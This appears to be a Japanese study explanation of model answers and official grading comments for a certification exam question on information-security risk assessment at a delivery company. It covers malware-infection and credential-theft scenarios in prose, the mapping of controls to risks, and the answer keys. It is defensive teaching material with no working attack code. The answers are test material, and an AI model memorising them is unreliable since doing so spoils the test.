い〜き は,(1) の あ に合わせて図3の手順どおりに埋める。い は あ を発端に Z 情報の機密性が損なわれるまでの経緯,う はそれに関係する表2の項番,え・お は被害の大きさと発生頻度,か は表3による総合評価,き は表5の追加すべき管理策である。解答例①(添付ファイル)では,配送管理用 PC が感染し,ID と PW を周知するメール(項番12)が読み取られて W 社外からログインされる。関係する項番は 2,3,5(添付ファイルの検査はパターンマッチング型だけ),6,9,12。G 百貨店からのメールは日常的に届き訓練もしていないので発生頻度は“高”,ログインされればほぼ全ての Z 情報が見られるので被害は“大”,総合評価は A。管理策は EDR による不審な動作の監視である。

解答例②(Web サイト改ざん)では,感染した PC のキーロガーで ID と PW が盗まれる。項番は 2,3,6(URL フィルタリングがアダルトとギャンブルしか止めない)。配送管理課員がよく見るサイトの改ざんは起きにくいので発生頻度は“低”,総合評価は C。管理策は URL フィルタリングで配送管理用 PC のアクセス先を必要なものだけにすることである。解答例③(リンク付きメール)では,PC に残っていた一括出力ファイル(表1 項番4)がマルウェアで外部に送られる。項番は 2,3,5,6,9,10(基本的な情報セキュリティ研修の内容)で,発生頻度“高”,総合評価 A。管理策は振舞い検知型・アノマリ検知型のマルウェア対策ソフトの導入である。

書き方の注意。解答例は①〜③の組で一貫している。い〜き は (1) で書いた自分の あ と食い違わないように,同じシナリオの中で埋めること。う は経緯の各段階(侵入・感染・窃取・持出し)に関わる項番を全て拾う。き は G 百貨店の条件どおり,図1のデータの流れを変えない管理策にする。

採点講評(IPA)

リスクアセスメントの中でも,リスク特定は担当者の知見が重要なプロセスである。本文内の状況説明と受験者自らの知見とを組み合わせてリスクを洗い出す能力を,設問2では問うた。多くの受験者が適切な解答を記述していたが,特定したリスクが具体性に欠けており,リスク分析の段階で被害の大きさや発生頻度の評価ができていない解答が散見された。また,“W社外の第三者”や“W社へのサイバー攻撃”といったリスクの前提に合っていない解答も一部に見られた。

設問3 解答欄2つ

表4中の a,b に入れる適切な字句について,表2中から該当する項番を全て選び,数字で答えよ。該当する項番がない場合は,“なし”と答えよ。

〔a〕解答例

  • 5,10,12

〔b〕解答例

  • 2,3,4
解説

本文の根拠

表4 リスク番号1-5

誤って,S サービスの ID と PW を,W 社外の第三者にメールで送信する。

表2 項番5

・添付ファイルに対するパターンマッチング型マルウェア検査,・迷惑メールのブロック,・特定のキーワードを含むメールの送信のブロック。

表2 項番10

・ID と PW を含む,秘密情報の取扱方法,・マルウェア検知時の対応手順,・PC 及び配送用スマートフォンの取扱方法,・個人情報の取扱方法,・メール送信時の注意事項。

表4 リスク番号2-2

W 社の PC 又はサーバの脆弱性を悪用し,インターネット上の PC から W 社の PC 又はサーバを不正に操作する

表2 項番4

FW は,ステートフルパケットインスペクション型で,インターネットから W 社への全ての通信を禁止している。

a:リスク番号1-5 は,過失で ID と PW を W 社外の第三者にメールで送ってしまうリスクである。関係するのは,項番5(メール SaaS の“特定のキーワードを含むメールの送信のブロック”が無効で,誤送信を止められない),項番10(ID と PW の取扱方法やメール送信時の注意事項の研修をしている),項番12(ID と PW がメールで周知されており,そのメールを誤って転送しやすい)である。a は 5,10,12。

b:リスク番号2-2 は,W 社の PC 又はサーバの脆弱性を悪用してインターネットから不正に操作し,配送管理用 PC にキーロガーを埋め込むリスクである。関係するのは,項番2(パターンマッチング型のマルウェア対策ソフト。既知のキーロガーなら検知できる),項番3(脆弱性修正プログラムの適用が遅滞なく行われ,悪用できる脆弱性が少ない),項番4(FW がインターネットから W 社への通信を全て禁止し,外から直接操作しにくい)である。b は 2,3,4。これらの対策が効いているので,発生頻度は“低”と評価されている。

間違えやすい点。“関連する情報セキュリティの状況”には,弱点(リスクを高める状況)だけでなく,リスクを抑えている対策も含まれる。表4の評価(発生頻度 低)とつじつまが合うように,効いている対策も拾う。

出典:令和5年度 秋期 情報処理安全確保支援士試験 午後 問4(表記を一部改変)